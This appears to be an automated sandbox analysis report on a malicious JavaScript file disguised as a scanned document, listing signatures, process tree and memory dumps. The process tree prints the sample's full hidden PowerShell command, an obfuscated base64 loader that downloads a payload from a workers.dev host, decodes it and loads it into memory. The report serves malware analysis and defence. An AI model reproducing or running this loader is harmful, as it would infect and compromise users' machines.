Analysis
- max time kernel
299s - max time network
127s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
24/09/2026, 07:13
General
- Target SKMBT_C22426090812140.js
- Size 32KB
- Sample260924-h2dqsage64
- SHA256 3ba1140b1234fa0ff8f85e294bac9c127244eb5e5e19ecea28923a17945f91c5
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\SKMBT_C22426090812140.js1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JiAoICRzSGVMTElEWzFdKyRTaGVMTElkWzEzXSsneCcpKCAoKCdoeDhwYXBsb21lciA9IENrNmh0dHBzOi8vcm91Z2gtdHJ1dGgtZTA3Mi4nKydwdWJsaWNmdHByZXNlbmQud29ya2Vycy5kZXYvdHdicHdsbUNrNjsgaHg4bm9uZGlzZmlndXJlZCA9IENrNkM6RUg1VXNlcnNFSDVQdWJsJysnaWNFSDVEb3dubG9hZHNFSDVwYXknKydsb2FkLnR4JysndENrNjsgaHg4bScrJ2lzZmVyZSA9IFthY3RpdmF0b3JdOjpjcmVhdGVJbnN0YW5jZShbbmV0JysnLndlYmNsaWVudF0pJysnOyBoeDhtaXNmZXJlLkhlJysnYWRlcnMuQWRkKENrNlVzZXItQWdlbnRDazYsIENrNk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjAuMCcrJy4wLjAgU2FmYXJpLzUzNy4zNkMnKydrNik7IGh4OG1pc2ZlcmUuRG93bmxvJysnYWRGaWxlKGh4OHBhcGxvbWVyLCBoeDhub25kaXNmaWd1cmVkKTsgaHg4aXJyYXRpb25hbCcrJ2lzdCA9IChHZXQtQ29udGVudCBoeDhub25kaXNmaWcnKyd1cmVkIC1SYXcpOyBoeDhicmlkZWdpZnQgPSBoeDhpcnJhdGlvbmFsaScrJ3N0LlJlcGxhY2UoSVZmKklWZixJVmZBSVZmKTsgaHg4cG90cGxhbnRzID0gW2NoYXJbXV0oKGh4OGJyJysnaWRlZ2lmdC5Ub0MnKydoYXJBcicrJ3JheSgpKVsoaHg4YnJpZGVnaWZ0Lkxlbmd0aC0xKS4uMF0pOyBoJysneDhtaXNtYW5uZXJlZCA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoLWpvaW4gaHg4cG90cGxhbnRzKTsgW0FwcERvbWFpbl06OicrJ0N1cnJlbnREb21haW4uTG9hZChoeDhtaXMnKydtYW5uZXJlZCkgYUknKydXIE91dC0nKydOdWxsOyBbV2luMzIuUk1QLmFhYWFhYWFdOjphYWFhYWEnKydhYWFhYShJVmZDTlZtOHVnekd6MHNEbGJCempTSDZRRDBZempPU1JrM3I3WDBmRjYzZWJrZ3J2azZKcHU1bmt5emJ5NFM0TGZEM2pUWldjbHFJTVZmNVkyRklXM0VCZVVObHdCTXZmdk5BREdiWkxQdzcwJysnND1JVmYsSVZmaDNQYjNjcUxMTlR1WUonKycvVXpsMWQySDFySzlyM0hzMGQxYlVpdjNTNkc2bz1JVmYsSVZmRmZ5TG45YWV1UnhkMScrJ3hDNC80SEhGWG1HQ2l4OWtXOXZJUkt0RXphWFM0VnpoWE1MOVcyQUx2JysnbUZYJysnTENQNHoxdUlWJysnZixJVmZ5Mm9hMUlUS3c4QScrJ1JZTWdVMmtwL21QZWRuSGQ1JysneScrJ1JxL1dSKycrJ2p2TUhLaG1JPUlWZixJVmYnKydiUXlpZ3pBcm9kSzN2eVVmbjhjNGo5JysnZUxuUFJqUXZuVmpkTUZXSnJCaWtrPUknKydWZixJVmZJVmYsSVZmK3VJclJtYk5GVGtpeVlkbEV5VUdzWW1MVUhlM2RMcDFva0ZjZTZoQWFEZz1JVmYsSVZmcXpEMHVvZW8vVE5OdDFpWGN4ZTlScTArYkJXJysnWU9KNGt5TEU1b3V1cjJEQT1JVmYsSVZmJysnK0M3VU5UemxmSHQ2Vy9LcnoxRWhJUHZPNlZ0JysnbFNSRG12d3ovam8vWHZ5a0tMbGxBcnF4Q1hVbycrJ2M1azk0UW5lVmU5ZWFVbFV0d2UnKydHSithemdEdzRNK0dpTCtlTXQ0dFRrJysnaC9hZ3N6dHVJN3c9SVZmLElWZlVKS0ZGJysnemdiRDFwNWwwM2NFdHdGQnZXaXhFVjR3Yk4zVDVFSkoxSEhDMStTVldEJysnQ1FnendJQWtqM3BJSGZMTHFJVmYsSVZmVWkzZmhNdXQnKycyVDloS2VvNzAyYXlqOWs4NUtOQVc2Q08wS29xJysnYmVXY2tqMD1JVmYsSVZmSVZmLElWZicrJ0ZJaUJrLzkyeFZLdWpuTzhtNS90ZWIrbktJOGppbkJoVlhMUlBmNlpia2s9SVZmLElWZnFuU010SWx0MnhJVUJGZFVVbUtFWE1jMnBYWnFmTG4nKyc4UVVBLy85bFlyUEE9SVZmLElWZnlta1Z6eFI2R2xsUScrJ2lsck5XS09NUktOUVNDRjJLYXZWR2c3TittaUJTYms9SVZmLElWZnVOZ3lTY1RldGwnKydkJysnYjR6WG5wNUpHV3h3UzR0TlpLUmxqWmswd3VablRGYzg9SVZmLElWZklWZixJVmZJVmYsSVZmJysnSVZmKTsgUmVtb3ZlLUl0ZW0gLVBhdGggaHg4bm8nKyduZGlzZmlndXJlZCAtRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUnKS1jUmVwbGFjZSAoW0NIYXJdNzMrW0NIYXJdODYrW0NIYXJdMTAyKSxbQ0hhcl0zOSAtcmVQTGFDRSdFSDUnLFtDSGFyXTkyLXJlUExhQ0UgJ2FJVycsW0NIYXJdMTI0IC1yZVBMYUNFICAnQ2s2JyxbQ0hhcl0zNCAgLXJlUExhQ0UgJ2h4OCcsW0NIYXJdMzYpICk=')) } | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C copy *. "C:\\Users\\Public\\Downloads\\CGpozDOPUj."2⤵
- Executes a command shell one-liner
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe2⤵
-
-
C:\Windows\system32\wscript.exewscript.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_x2mysykz.nes.ps1
memory/2156-0-0x00007FF8995EF000-0x00007FF8995F0000-memory.dmp
memory/2156-3-0x0000024A9C7D0000-0x0000024A9C7F2000-memory.dmp
memory/2156-7-0x00007FF899460000-0x00007FF899E04000-memory.dmp
memory/2156-9-0x00007FF899460000-0x00007FF899E04000-memory.dmp
memory/2156-10-0x00007FF899460000-0x00007FF899E04000-memory.dmp
memory/2156-11-0x00007FF899460000-0x00007FF899E04000-memory.dmp
memory/2156-12-0x00007FF899460000-0x00007FF899E04000-memory.dmp
memory/2156-13-0x00007FF899460000-0x00007FF899E04000-memory.dmp
memory/2156-14-0x00007FF899460000-0x00007FF899E04000-memory.dmp
memory/2156-15-0x00007FF899460000-0x00007FF899E04000-memory.dmp
memory/2156-16-0x00007FF899460000-0x00007FF899E04000-memory.dmp
memory/2156-17-0x00007FF899460000-0x00007FF899E04000-memory.dmp
memory/2156-20-0x0000024AB4F40000-0x0000024AB4FAC000-memory.dmp
memory/2156-44-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-48-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-52-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-50-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-46-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-42-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-40-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-38-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-36-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-34-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-32-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-30-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-28-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-26-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-24-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-22-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-21-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-80-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-76-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-93-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-90-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-88-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-86-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-84-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-82-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-70-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-68-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-66-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-64-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-62-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-60-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-79-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-74-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-72-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-58-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-56-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-54-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-104-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-102-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-120-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-118-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-134-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-144-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-146-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-142-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-140-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-138-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-136-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-132-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-130-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-128-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-126-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-124-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-122-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-114-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-112-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-110-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-108-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-106-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-116-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-100-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-98-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-97-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-94-0x0000024AB4F40000-0x0000024AB4FA5000-memory.dmp
memory/2156-885-0x00007FF899460000-0x00007FF899E04000-memory.dmp
memory/2156-890-0x00007FF899460000-0x00007FF899E04000-memory.dmp
memory/2156-891-0x00007FF899460000-0x00007FF899E04000-memory.dmp
memory/2156-892-0x00007FF899460000-0x00007FF899E04000-memory.dmp